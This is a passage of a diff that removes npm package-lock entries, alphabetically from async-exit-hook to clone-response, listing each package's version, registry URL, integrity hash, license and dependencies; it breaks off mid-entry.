"sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", - "license": "MIT" - }, - "node_modules/async-exit-hook": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", - "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/async-function": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", - "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/at-least-node": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", - "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/available-typed-arrays": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", - "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "possible-typed-array-names": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/axe-core": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.12.0.tgz", - "integrity": "sha512-FTavr/7Ba0IptwGOPxnQvdyW2tAsdLBMTBXz7rKH6xJ2skpyxpBxyHkDdBs4lf69yRqYpkqCdfhnwS8YULGOmg==", - "dev": true, - "license": "MPL-2.0", - "engines": { - "node": ">=4" - } - }, - "node_modules/axios": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", - "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", - "dependencies": { - "follow-redirects": "^1.16.0", - "form-data": "^4.0.5", - "https-proxy-agent": "^5.0.1", - "proxy-from-env": "^2.1.0" - } - }, - "node_modules/axios/node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "dependencies": { - "debug": "4" - }, - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/axios/node_modules/https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", - "dependencies": { - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/axobject-query": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz", - "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/babel-dead-code-elimination": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/babel-dead-code-elimination/-/babel-dead-code-elimination-1.0.12.tgz", - "integrity": "sha512-GERT7L2TiYcYDtYk1IpD+ASAYXjKbLTDPhBtYj7X1NuRMDTMtAx9kyBenub1Ev41lo91OHCKdmP+egTDmfQ7Ig==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.23.7", - "@babel/parser": "^7.23.6", - "@babel/traverse": "^7.23.7", - "@babel/types": "^7.23.6" - } - }, - "node_modules/bail": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", - "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/baseline-browser-mapping": { - "version": "2.10.33", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.33.tgz", - "integrity": "sha512-bA6+tcSLpz2tIEdDXZPpPTIuxBcC4+w6SieaYyfigIa4h8GlFxbA17v22Vx3JUtuZQj9SgOsnbK+aTBzyDyEuw==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "baseline-browser-mapping": "dist/cli.cjs" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/basic-auth": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-2.0.1.tgz", - "integrity": "sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==", - "license": "MIT", - "dependencies": { - "safe-buffer": "5.1.2" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/basic-auth/node_modules/safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - "license": "MIT" - }, - "node_modules/bidi-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", - "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==", - "dev": true, - "license": "MIT", - "dependencies": { - "require-from-string": "^2.0.2" - } - }, - "node_modules/body-parser": { - "version": "1.20.6", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.6.tgz", - "integrity": "sha512-p5tAzS57i5MV9fZFDj9LeIiTZEufbSe2eDozP+ElheSUq1m74CRq1jI4mYNDdVs9vQztXFLuk/Gd6BWTdwRJ5g==", - "dependencies": { - "bytes": "~3.1.2", - "content-type": "~1.0.5", - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "~1.2.0", - "http-errors": "~2.0.1", - "iconv-lite": "~0.4.24", - "on-finished": "~2.4.1", - "qs": "~6.15.1", - "raw-body": "~2.5.3", - "type-is": "~1.6.18", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, - "node_modules/body-parser/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/body-parser/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT" - }, - "node_modules/boolean": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.2.0.tgz", - "integrity": "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==", - "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/brace-expansion": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", - "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/browserslist": { - "version": "4.28.2", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", - "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "baseline-browser-mapping": "^2.10.12", - "caniuse-lite": "^1.0.30001782", - "electron-to-chromium": "^1.5.328", - "node-releases": "^2.0.36", - "update-browserslist-db": "^1.2.3" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/buffer": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "optional": true, - "dependencies": { - "base64-js": "^1.3.1", - "ieee754": "^1.1.13" - } - }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/buffer-from": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - "license": "MIT" - }, - "node_modules/builder-util": { - "version": "26.8.1", - "resolved": "https://registry.npmjs.org/builder-util/-/builder-util-26.8.1.tgz", - "integrity": "sha512-pm1lTYbGyc90DHgCDO7eo8Rl4EqKLciayNbZqGziqnH9jrlKe8ZANGdityLZU+pJh16dfzjAx2xQq9McuIPEtw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/debug": "^4.1.6", - "7zip-bin": "~5.2.0", - "app-builder-bin": "5.0.0-alpha.12", - "builder-util-runtime": "9.5.1", - "chalk": "^4.1.2", - "cross-spawn": "^7.0.6", - "debug": "^4.3.4", - "fs-extra": "^10.1.0", - "http-proxy-agent": "^7.0.0", - "https-proxy-agent": "^7.0.0", - "js-yaml": "^4.1.0", - "sanitize-filename": "^1.6.3", - "source-map-support": "^0.5.19", - "stat-mode": "^1.0.0", - "temp-file": "^3.4.0", - "tiny-async-pool": "1.3.0" - } - }, - "node_modules/builder-util-runtime": { - "version": "9.5.1", - "resolved": "https://registry.npmjs.org/builder-util-runtime/-/builder-util-runtime-9.5.1.tgz", - "integrity": "sha512-qt41tMfgHTllhResqM5DcnHyDIWNgzHvuY2jDcYP9iaGpkWxTUzV6GQjDeLnlR1/DtdlcsWQbA7sByMpmJFTLQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.3.4", - "sax": "^1.2.4" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/cac": { - "version": "6.7.14", - "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz", - "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/cacheable-lookup": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", - "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10.6.0" - } - }, - "node_modules/cacheable-request": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", - "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", - "dev": true, - "license": "MIT", - "dependencies": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^6.0.1", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/call-bind": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.9.tgz", - "integrity": "sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "get-intrinsic": "^1.3.0", - "set-function-length": "^1.2.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/call-bound": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "get-intrinsic": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/camelcase": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001793", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001793.tgz", - "integrity": "sha512-iwSsYWaCOoh26cV8NwNRViHlrfUvYsHDfRVcbtmw0Kg6PJIZZXwMkj1442FYLBGkeUf1juAsU3DTfxW579mrPA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "CC-BY-4.0" - }, - "node_modules/ccount": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", - "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/chai": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", - "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/character-entities": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", - "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-entities-html4": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", - "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-entities-legacy": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", - "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-reference-invalid": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", - "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/chokidar": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz", - "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", - "dev": true, - "license": "MIT", - "dependencies": { - "readdirp": "^4.0.1" - }, - "engines": { - "node": ">= 14.16.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/chownr": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz", - "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=18" - } - }, - "node_modules/chromium-pickle-js": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz", - "integrity": "sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==", - "dev": true, - "license": "MIT" - }, - "node_modules/ci-info": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz", - "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/sibiraj-s" - } - ], - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/class-variance-authority": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", - "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", - "license": "Apache-2.0", - "dependencies": { - "clsx": "^2.1.1" - }, - "funding": { - "url": "https://polar.sh/cva" - } - }, - "node_modules/cli-cursor": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", - "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", - "dev": true, - "license": "MIT", - "dependencies": { - "restore-cursor": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cli-truncate": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-5.2.0.tgz", - "integrity": "sha512-xRwvIOMGrfOAnM1JYtqQImuaNtDEv9v6oIYAs4LIHwTiKee8uwvIi363igssOC0O5U04i4AlENs79LQLu9tEMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "slice-ansi": "^8.0.0", - "string-width": "^8.2.0" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cli-width": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", - "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">= 12" - } - }, - "node_modules/client-only": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz", - "integrity": "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==", - "license": "MIT" - }, - "node_modules/cliui": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", - "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", - "dev": true, - "license": "ISC", - "dependencies": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.1", - "wrap-ansi": "^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/cliui/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/cliui/node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/clone-response": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", - "integrity": 